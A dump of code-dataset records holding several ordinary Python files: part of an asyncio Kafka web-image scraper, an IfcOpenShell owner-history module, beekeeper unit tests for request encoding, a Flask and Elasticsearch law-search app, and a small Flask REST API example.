returns producer with custom value\n\n    serializer. Will produce exactly one copy of message in kafka \"updater\"\n    topic.\n    :return: AIOKafkaProducer instance.\n    \"\"\"\n    try:\n        producer = AIOKafkaProducer(\n            bootstrap_servers=KAFKA_SERVER,\n            enable_idempotence=True,\n            value_serializer=lambda msg: json.dumps(msg).encode(\"utf-8\"),\n        )\n        await producer.start()\n        return producer\n    except KafkaError as error:\n        parser_logger.error(f\"Error: Kafka producer creation error: ({error})\")\n\n\nasync def get_consumer() -> AIOKafkaConsumer:\n    \"\"\"Connects to kafka \"parser\" topic, starts and returns consumer with\n\n    custom value deserializer.\n    :return: AIOKafkaConsumer instance.\n    \"\"\"\n    try:\n        consumer = AIOKafkaConsumer(\n            KAFKA_PARSER_TOPIC,\n            bootstrap_servers=KAFKA_SERVER,\n            group_id=PARSER_GROUP_ID,\n            auto_offset_reset=\"earliest\",\n            value_deserializer=lambda message: json.loads(message),\n        )\n        await consumer.start()\n        return consumer\n    except KafkaError as error:\n        parser_logger.error(f\"Error: Kafka consumer creation error: ({error})\")\n\n\nasync def send_message(\n    producer: AIOKafkaProducer, message: Dict[str, Any]\n) -> None:\n    \"\"\"Sends provided message to \"updater\" topic via AIOKafkaProducer.\n\n    :param producer: AIOKafkaProducer instance connected to bootstrap_server.\n    :param message: Dict with key: values data to send via kafka topic.\n    :return: None.\n    \"\"\"\n    try:\n        response = await producer.send_and_wait(KAFKA_UPDATER_TOPIC, message)\n        send_time = datetime.fromtimestamp(response.timestamp / 1000)\n        parser_logger.info(\n            f\"Message was sent to topic '{response.topic}' at {send_time} UTC\"\n        )\n    except KafkaError as error:\n        parser_logger.error(f\"Error: Kafka send message error: ({error})\")\n\n\ndef parse_data(html_page: str) -> List[str]:\n    \"\"\"Get list of all img href tags from provided HTML page via bs4.\n\n    :param html_page: webpage HTML text data.\n    :return: list with pictures links.\n    \"\"\"\n    picture_links = []\n    soup = BeautifulSoup(html_page, \"lxml\", parse_only=SoupStrainer(\"img\"))\n    for img in soup.find_all(\"img\"):\n        src = img.get(\"src\")\n        if src and src.startswith((\"http://\", \"https://\")):\n            picture_links.append(src)\n    return picture_links\n\n\nasync def load_pictures(\n    url: str, producer: AIOKafkaProducer, user_agent: str\n) -> None:\n    \"\"\"Loads html text data for webpage URL, get html length, parses images\n\n    links for provided URL and uploads images data to minio storage\n    asynchronously. Updates webpage entity data in web microservice database\n    via AIOKafkaProducer. Sends \"in_progress\" status for pages that are going\n    to be proceed, \"finished\" - if all data for webpage was proceeded (also\n    sends html length and list of minio keys), in case of any parser errors -\n    sends \"failed\" status.\n\n    :param url: webpage URL to get data from.\n    :param producer: AIOKafkaProducer instance connected to kafka topic.\n    :param user_agent: custom user-agent to aiohttp request headers.\n    :return: None.\n    \"\"\"\n    timeout = ClientTimeout(total=60)\n    headers = {\"user-agent\": user_agent}\n    message_default: Dict[str, Any] = {\n        \"url\": url,\n        \"parsing_status\": ParsingStatus.in_progress,\n    }\n    await send_message(producer, message_default)\n    async with Session(timeout=timeout, raise_for_status=True) as session:\n        try:\n            html = await load_page_data(session, url, headers)\n            picture_parser = partial(parse_data, html_page=html)\n            loop = asyncio.get_running_loop()\n            # Run blocking bs4 parsing task concurrently in Executor.\n            pictures_urls = await loop.run_in_executor(None, picture_parser)\n            pictures_keys = await upload_pictures_to_minio(\n                url, pictures_urls, headers, session\n            )\n            message_default.update(\n                parsing_status=ParsingStatus.finished,\n                html_length=len(html),\n                pictures_keys=pictures_keys,\n            )\n            await send_message(producer, message_default)\n            parser_logger.error(f\"Success getting keys for {url} pictures\")\n        except ClientError as error:\n            parser_logger.error(f\"URL connection error: {error}\")\n            message_default.update(parsing_status=ParsingStatus.failed)\n            await send_message(producer, message_default)\n\n\nasync def load_page_data(\n    session: Session, url: str, header: Dict[str, str]\n) -> str:\n    \"\"\"Loads webpage HTML text data via aiohttp with provided user-agent header\n\n    :param session: opened aiohttp session.\n    :param url: URLs of webpage to download.\n    :param header: custom user-agent header for aiohttp request.\n    :return: opened aiohttp session.\n    \"\"\"\n    async with session.get(url, headers=header, allow_redirects=False) as page:\n        parser_logger.info(f\"Response status code for {url} - {page.status}\")\n        html: str = await page.text()\n        return html\n", "repo_name": "DSkrubber/Async_FastAPI_webpage_info_parser_with_minio", "sub_path": "parser/app/parser_utils.py", "file_name": "parser_utils.py", "file_ext": "py", "file_size_in_byte": 6279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logger.get_logger", "line_number": 26, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 29, "usage_type": "name"}, {"api_name": "itertools.cycle", "line_number": 41, "usage_type": "call"}, {"api_name": "constants.USER_AGENTS", "line_number": 41, "usage_type": "argument"}, {"api_name": "typing.Iterator", "line_number": 35, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaProducer", "line_number": 52, "usage_type": "call"}, {"api_name": "constants.KAFKA_SERVER", "line_number": 53, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "aiokafka.errors.KafkaError", "line_number": 59, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaProducer", "line_number": 44, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaConsumer", "line_number": 70, "usage_type": "call"}, {"api_name": "constants.KAFKA_PARSER_TOPIC", "line_number": 71, "usage_type": "argument"}, {"api_name": "constants.KAFKA_SERVER", "line_number": 72, "usage_type": "name"}, {"api_name": "constants.PARSER_GROUP_ID", "line_number": 73, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 75, "usage_type": "call"}, {"api_name": "aiokafka.errors.KafkaError", "line_number": 79, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaConsumer", "line_number": 63, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaProducer", "line_number": 84, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 84, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 84, "usage_type": "name"}, {"api_name": "constants.KAFKA_UPDATER_TOPIC", "line_number": 93, "usage_type": "argument"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 94, "usage_type": "name"}, {"api_name": "aiokafka.errors.KafkaError", "line_number": 98, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 109, "usage_type": "call"}, {"api_name": "bs4.SoupStrainer", "line_number": 109, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 102, "usage_type": "name"}, {"api_name": "aiokafka.AIOKafkaProducer", "line_number": 118, "usage_type": "name"}, {"api_name": "aiohttp.ClientTimeout", "line_number": 134, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 136, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 141, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 144, "usage_type": "call"}, {"api_name": "asyncio.get_running_loop", "line_number": 145, "usage_type": "call"}, {"api_name": "minio_utils.upload_pictures_to_minio", "line_number": 148, "usage_type": "call"}, {"api_name": "aiohttp.ClientError", "line_number": 158, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 165, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 165, "usage_type": "name"}]}
{"seq_id": "23925830303", "text": "import time\nimport ifcopenshell\nimport ifcopenshell.api.owner.settings\n\n\nclass Usecase:\n    def __init__(self, file):\n        \"\"\"Creates a new owner history indicating an element was added\n\n        Any object in IFC with a unique ID and name (such as physical products,\n        tasks, calendars, etc) may have an owner associated with it. An owner is\n        a liable person and/or organisation which a bit of metadata indicating\n        whether they have created the object, edited the object, when the change\n        was made, and which application they used.\n\n        IFC does not offer a comprehensive specification for version control and\n        change tracking, as this is completely out of scope. However this\n        similar ability allows IFC to satisfy legal requirements where object\n        ownership, responsibilities, and permissions must be specified.\n        Recording the owner is mandatory in IFC2X3 but optional in IFC4. It is\n        not recommended to store this ownership data in IFC4 unless a legal\n        requirement is in place.\n\n        Because owner tracking is mandatory in IFC2X3, be aware that some\n        configuration may be required to work correctly. Read on.\n\n        To track the owner, at a minimum we have to know the application that\n        the element was authored from, as well as the user (person and\n        organisation) that made the change. The IfcOpenShell API is a low level\n        software library and will not know what application the API is being\n        called from, and nor does it have the responsibility to manage the\n        \"active user\" making edits, which may be as simple as hardcoding it to\n        \"Bob\" or even be as complex as integrationg with a CDE's authentication\n        system. As a result, the developer responsible to integrate with\n        IfcOpenShell is expected to overload the\n        ifcopenshell.api.owner.settings.get_user and\n        ifcopenshell.api.owner.settings.get_application functions.\n\n        It is not necessary to call this function directly if you are already\n        using other API calls. It is a low level function only available if you\n        are writing your own advanced scripts and want to take advantage of the\n        easier ownership tracking.\n\n        :return: The newly created IfcOwnerHistory element.\n        :rtype: ifcopenshell.entity_instance.entity_instance\n\n        Example:\n\n        .. code:: python\n\n            # Let's imagine we're writing a small script, not large enough to be\n            # its own fully branded application. In this case, let's use the\n            # default application which is prepopulated with \"IfcOpenShell\" as\n            # the name and version.\n            application = ifcopenshell.api.run(\"owner.add_application\", model)\n\n            # Let's imagine we run this as an automated QA process in an\n            # architectural firm. However, the results must be signed off by the\n            # registered architect who is liable for the project.\n            person = ifcopenshell.api.run(\"owner.add_person\", model,\n                identification=\"LPARTEE\", family_name=\"Partee\", given_name=\"Leeable\")\n            organisation = ifcopenshell.api.run(\"owner.add_organisation\", model,\n                identification=\"AWB\", name=\"Architects Without Ballpens\")\n            user = ifcopenshell.api.run(\"owner.add_person_and_organisation\", model,\n                person=person, organisation=organisation)\n\n            # Let's configure our owner settings to hardcode always returning\n            # the application and user. In theory, you could build complex user\n            # access control lookup functions here, but this is simple enough.\n            ifcopenshell.api.owner.settings.get_user = lambda x: user\n            ifcopenshell.api.owner.settings.get_application = lambda x: application\n\n            # We've finished our ownership setup. Now let's start our script and\n            # create a space. Notice we don't actually call\n            # create_owner_history at all. This is already automatically handled\n            # by the API when necessary. Under the hood, the API is actually\n            # running this code on the IfcSpace element:\n            # element.OwnerHistory = ifcopenshell.api.run(\"owner.create_owner_history\", model)\n            space = ifcopenshell.api.run(\"root.create_entity\", model, ifc_class=\"IfcSpace\")\n        \"\"\"\n        self.file = file\n        self.settings = {}\n\n    def execute(self):\n        user = ifcopenshell.api.owner.settings.get_user(self.file)\n        if self.file.schema != \"IFC2X3\" and not user:\n            return\n        application = ifcopenshell.api.owner.settings.get_application(self.file)\n        if self.file.schema != \"IFC2X3\" and not application:\n            return\n        return self.file.create_entity(\n            \"IfcOwnerHistory\",\n            **{\n                \"OwningUser\": user,\n                \"OwningApplication\": application,\n                \"State\": \"READWRITE\",\n                \"ChangeAction\": \"ADDED\",\n                \"LastModifiedDate\": int(time.time()),\n                \"LastModifyingUser\": user,\n                \"LastModifyingApplication\": application,\n                \"CreationDate\": int(time.time()),\n            },\n        )\n", "repo_name": "IfcOpenShell/IfcOpenShell", "sub_path": "src/ifcopenshell-python/ifcopenshell/api/owner/create_owner_history.py", "file_name": "create_owner_history.py", "file_ext": "py", "file_size_in_byte": 5252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1412, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ifcopenshell.api.owner.settings.get_user", "line_number": 85, "usage_type": "call"}, {"api_name": "ifcopenshell.api", "line_number": 85, "usage_type": "attribute"}, {"api_name": "ifcopenshell.api.owner.settings.get_application", "line_number": 88, "usage_type": "call"}, {"api_name": "ifcopenshell.api", "line_number": 88, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 98, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}]}
{"seq_id": "6362484026", "text": "from __future__ import unicode_literals\n\nimport unittest\n\nfrom functools import partial\n\nfrom beekeeper.variable_handlers import render\nimport beekeeper.variable_handlers\n\nclass VariableReceiver(object):\n\n    def execute(self, var_type, **kwargs):\n        render(self, var_type, **kwargs)\n\n    def receive(self, expected, *args, **kwargs):\n        if isinstance(expected, list):\n            if kwargs:\n                self.assertIn(kwargs, expected)\n            else:\n                self.assertIn(args[0], expected)\n        elif kwargs:\n            self.assertEqual(expected, kwargs)\n        else:\n            self.assertEqual(expected, args[0])\n\nclass fakeuuid:\n\n    def __init__(self):\n        self.hex = 'xxx'\n\nclass VariableHandlerTest(VariableReceiver, unittest.TestCase):\n\n    def test_data(self):\n        self.set_headers = partial(self.receive, {'Content-Type': 'text/plain'})\n        self.set_data = partial(self.receive, b'this is text')\n        self.execute('data', variable={'mimetype': 'text/plain', 'value': 'this is text'})\n\n    def test_http_auth(self):\n        self.set_headers = partial(self.receive, {'Authorization': 'Basic dXNlcm5hbWU6cGFzc3dvcmQ='})\n        username = dict(value='username')\n        password = dict(value='password')\n        self.execute('http_basic_auth', username=username, password=password)\n\n    def test_bearer_auth(self):\n        self.set_headers = partial(self.receive, {'Authorization': 'Bearer PUT_YOUR_TOKEN_HERE'})\n        var = dict(value='PUT_YOUR_TOKEN_HERE')\n        self.execute('bearer_token', var=var)\n\n    def test_multiple_bearer(self):\n        self.set_headers = partial(self.receive, {'Authorization': 'Nope'})\n        with self.assertRaises(Exception):\n            self.execute('bearer_token', var1='thing', var2='otherthing')\n\n    def test_http_form(self):\n        expected = [\n            b'y=thing&x=whatever',\n            b'x=whatever&y=thing'\n        ]\n        self.set_headers = partial(self.receive, {'Content-Type': 'application/x-www-form-urlencoded'})\n        self.set_data = partial(self.receive, expected)\n        var = dict(x={'value':'whatever'}, y={'value':'thing'})\n        self.execute('http_form', **var)\n\n    def test_multipart(self):\n        self.old_uuid4 = beekeeper.variable_handlers.uuid4\n        beekeeper.variable_handlers.uuid4 = fakeuuid\n        should = '\\n--xxx\\nContent-Disposition: form-data; name=\"x\"\\n\\nwhatever\\n--xxx\\nContent-Disposition: form-data; name=\"y\"; filename=\"thing.name\"\\nContent-Type: text/plain\\n\\nplaintexthere\\n--xxx--'.encode('utf-8')\n        othershould = '\\n--xxx\\nContent-Disposition: form-data; name=\"y\"; filename=\"thing.name\"\\nContent-Type: text/plain\\n\\nplaintexthere\\n--xxx\\nContent-Disposition: form-data; name=\"x\"\\n\\nwhatever\\n--xxx--'.encode('utf-8')\n        options = [should, othershould]\n        self.set_headers = partial(self.receive, {'Content-Type': 'multipart/form-data; boundary=xxx'})\n        self.set_data = partial(self.receive, options)\n        var = {'x':{'value': 'whatever'}, 'y':{'value':'plaintexthere', 'mimetype':'text/plain', 'filename':'thing.name'}}\n        self.execute('multipart', **var)\n\n    def test_cookies(self):\n        expected = [{'Cookie': 'thing1; thing2'}, {'Cookie': 'thing2; thing1'}]\n        var = {'a': {'value': 'thing1'}, 'b': {'value': 'thing2'}}\n        self.set_headers = partial(self.receive, expected)\n        self.execute('cookie', **var)\n", "repo_name": "haikuginger/beekeeper", "sub_path": "test/test_variable_handers.py", "file_name": "test_variable_handers.py", "file_ext": "py", "file_size_in_byte": 3412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "70", "api": [{"api_name": "beekeeper.variable_handlers.render", "line_number": 13, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 31, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 34, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 35, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 39, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 45, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 50, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 59, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 60, "usage_type": "call"}, {"api_name": "beekeeper.variable_handlers.variable_handlers", "line_number": 65, "usage_type": "attribute"}, {"api_name": "beekeeper.variable_handlers", "line_number": 65, "usage_type": "name"}, {"api_name": "beekeeper.variable_handlers.variable_handlers", "line_number": 66, "usage_type": "attribute"}, {"api_name": "beekeeper.variable_handlers", "line_number": 66, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 70, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 71, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "35789916494", "text": "import csv\nfrom io import StringIO, TextIOWrapper\nfrom flask import Flask, jsonify, redirect, request, url_for\nfrom markupsafe import escape\nfrom flask import render_template\nfrom elasticsearch import Elasticsearch\nimport math\n\nELASTIC_PASSWORD = \"\"\nexisting_index_name = 'law-data-reindex-1'\n\nes = Elasticsearch(\"http://localhost:9200\",\n                   http_auth=(\"elastic\", ELASTIC_PASSWORD), verify_certs=False)\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/search')\ndef search():\n    page_size = 5\n    keyword = request.args.get('keyword')\n    page_no = int(request.args.get('page', 1))\n    sort = request.args.get('sort', 'section')\n    order = request.args.get('order', 'asc')\n\n    if not keyword.strip() :\n        body = {\n            'size': page_size,\n            'from': page_size * (page_no - 1),\n            'query': {\n                'match_all': {}\n            }\n        }\n\n    else:\n        body = {\n            'size': page_size,\n            'from': page_size * (page_no - 1),\n            'query': {\n                'bool': {\n                    'should': [\n                        {'match': {'code': {'query': keyword, 'boost': 1.5}}},  \n                        {'match': {'section': {'query': keyword, 'boost': 2.0}}},\n                        {'match': {'book': keyword}},\n                        {'match': {'title': keyword}},\n                        {'match': {'chapter': keyword}},\n                        {'match': {'part': keyword}},\n                        {'match': {'additional': keyword}},\n                        {'match': {'detail': keyword}}\n                    ]\n                }\n            }\n        }\n\n    if sort == 'code':\n        body['sort'] = [{'section_sort': {'order': order}}]\n\n    res = es.search(index=existing_index_name, doc_type='', body=body)\n    hits = [{'code': doc['_source']['code'], 'section': doc['_source']['section'],\n             'book': doc['_source']['book'],\n             'title': doc['_source']['title'], 'chapter': doc['_source']['chapter'],\n             'part': doc['_source']['part'], 'addtitional': doc['_source']['addtitional'],\n             'detail': doc['_source']['detail']} for doc in res['hits']['hits']]\n\n    page_total = math.ceil(res['hits']['total']['value'] / page_size)\n\n    return render_template('search.html', keyword=keyword, hits=hits, page_no=page_no, page_total=page_total)\n\n\n@app.route('/advanced-search')\ndef advancedSearch():\n    page_size = 5\n    section = request.args.get('section')\n    code = request.args.get('code')\n    book = request.args.get('book')\n    title = request.args.get('title')\n    chapter = request.args.get('chapter')\n    sort = request.args.get('sort', 'section')\n    order = request.args.get('order', 'asc')\n    hits = []\n    if request.args.get('page'):\n        page_no = int(request.args.get('page'))\n    else:\n        page_no = 1\n\n    should_conditions = []\n    print(code)\n    \n\n    if code and code.strip():  \n        should_conditions.append({\"match_phrase\": {\"code\": code}})\n    else :\n        should_conditions.append({\"match_all\": {}})\n\n    if book and book.strip() and book != 'None' and book != '-':\n        should_conditions.append({\"match\": {\"book\": book}})\n    if title and title.strip() and title != 'None' and title != '-':\n        should_conditions.append({\"match\": {\"title\": title}})\n    if chapter and chapter.strip() and chapter != 'None' and chapter != '-':\n        should_conditions.append({\"match_phrase\": {\"chapter\": chapter}})\n    if section:\n        should_conditions.append({\"match\": {\"section\": section}})\n\n    print(should_conditions)\n\n    if should_conditions:\n       \n        body = {\n            'size': page_size,\n            'from': page_size * (page_no - 1),\n            'query': {\n                \"bool\": {\n                    \"must\": should_conditions\n                }\n            }\n        }\n\n        if sort == 'code':\n            body['sort'] = [{'section_sort': {'order': order}}]\n        \n\n        res = es.search(index=existing_index_name, doc_type='', body=body)\n        hits = [{'code': doc['_source']['code'], 'section': doc['_source']['section'],\n                 'book': doc['_source']['book'],\n                'title': doc['_source']['title'], 'chapter': doc['_source']['chapter'],\n                 'part': doc['_source']['part'], 'addtitional': doc['_source']['addtitional'],\n                 'detail': doc['_source']['detail']} for doc in res['hits']['hits']]\n\n        page_total = math.ceil(res['hits']['total']['value'] / page_size)\n\n        return render_template('advanced-search.html', code=code, book=book, title=title, chapter=chapter, hits=hits, page_no=page_no, page_total=page_total)\n    else:\n        return render_template('advanced-search.html', code=code, book=book, title=title, chapter=chapter, hits=hits, page_no=page_no, page_total=page_total)\n\n\ndef get_codes(es, index_name):\n    # Get unique codes from the Elasticsearch index\n    result = es.search(index=index_name, size=0, body={\"aggs\": {\"codes\": {\"terms\": {\"field\": \"code.raw\"}}}})\n    codes = [{\"key\": bucket['key'], \"doc_count\": bucket['doc_count']} for bucket in result['aggregations']['codes']['buckets']]\n    return codes\n\n\n@app.route('/dashboard')\ndef dashboard():\n    # Get unique categories for visualization\n    codes = get_codes(es, existing_index_name)\n    \n    return render_template('dashboard.html', codes=codes)\n\n@app.route('/dashboard-csv')\ndef dashboardCSV():\n    return render_template('dashboard-csv.html')\n\n@app.route('/dashboard-html')\ndef dashboardHTML():\n    return render_template('dashboard-html.html')\n\ndef delete_data_by_code(es, index_name, code):\n    es.delete_by_query(index=index_name, body={\"query\": {\"match\": {\"code.raw\": code}}})\n\n@app.route('/delete', methods=['POST'])\ndef delete_data():\n    try:\n        code_to_delete = request.form.get('code')\n        delete_data_by_code(es, existing_index_name, code_to_delete)\n        return redirect(url_for('dashboard'))\n\n    except Exception as e:\n        return jsonify({\"error\": str(e)}), 500\n    \ndef add_csv_to_index(es, index_name, csv_data):\n    # Assuming the CSV file has a header row\n    reader = csv.DictReader(StringIO(csv_data))\n    \n    # Bulk index the CSV data into Elasticsearch\n    documents = []\n\n    for row in reader:\n        document = {\n            'code': row['code'],\n            'section': row['section'],\n            'book': row['book'],\n            'title': row['title'],\n            'chapter': row['chapter'],\n            'part': row['part'],\n            'addtitional': row['addtitional'],\n            'detail': row['detail'],\n            'section_sort': row['section_sort']\n            # Add more fields as needed\n        }\n       \n        es.index(index=index_name, doc_type='_doc', body=document)\n        \n@app.route('/upload-csv', methods=['POST'])\ndef upload_csv():\n    try:\n        # Get the uploaded file from the form\n        uploaded_file = request.files['file']\n\n        # Read the CSV file content\n        csv_data = uploaded_file.stream.read().decode('utf-8')\n\n        # Add CSV data to the existing Elasticsearch index\n        add_csv_to_index(es, existing_index_name, csv_data)\n\n        # Redirect to the dashboard page after uploading\n        return redirect(url_for('dashboard'))\n\n    except Exception as e:\n        return jsonify({\"error\": str(e)}), 500\n", "repo_name": "pkbsa/ThaiLawFinder", "sub_path": "search_app.py", "file_name": "search_app.py", "file_ext": "py", "file_size_in_byte": 7379, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "elasticsearch.Elasticsearch", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 85, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 133, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 156, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 160, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 168, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 168, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 168, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 173, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 177, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 202, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 202, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 211, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 211, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 214, "usage_type": "call"}]}
{"seq_id": "41987695397", "text": "from flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\n\n# Init app\napp = Flask(__name__)\n\n# Database\napp.config['SQLALCHEMY_DATABASE_URI']='sqlite:///db.sqlite'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# Initialize db\ndb = SQLAlchemy(app)\n\n# Init Marshmallow\nma = Marshmallow(app)\n\n# Product Class/Model (db model)\nclass Product(db.Model):\n  id = db.Column(db.Integer, primary_key=True)\n  name = db.Column(db.String(100), unique=True)\n  description = db.Column(db.String(200))\n  price = db.Column(db.Integer)\n  qty = db.Column(db.Integer)\n\n  def __init__(self, name, description, price, qty):\n    self.name = name\n    self.description = description\n    self.price = price\n    self.qty = qty\n\n# Product Schema\nclass ProductSchema(ma.Schema):\n  class Meta:\n    fields = ('id', 'name', 'description', 'price', 'qty')\n\n# Init schema\nproduct_schema = ProductSchema()\nproducts_schema = ProductSchema(many=True)\n\n# Create product\n@app.route('/product', methods=['POST'])\ndef add_product():\n    name = request.json['name']\n    description = request.json['description']\n    price = request.json['price']\n    qty = request.json['qty']\n\n    new_product = Product(name, description, price, qty)\n\n    db.session.add(new_product)\n    db.session.commit()\n\n    return product_schema.jsonify(new_product)\n\n# Get all products\n@app.route('/product', methods=['GET'])\ndef get_products():\n    all_products = Product.query.all()\n    result = products_schema.dump(all_products)\n    return jsonify(result)\n\n# Get one product\n@app.route('/product/', methods=['GET'])\ndef get_product(id):\n    product = Product.query.get(id)\n    return product_schema.jsonify(product)\n\n# Run Server\nif __name__=='__main__':\n    app.run(debug=True)", "repo_name": "codekaust/My-Notes", "sub_path": "Python Server or Services/Flask/Flask-RESTAPI/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1790, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "70", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_marshmallow.Marshmallow", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 47, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 61, "usage_type": "call"}]}
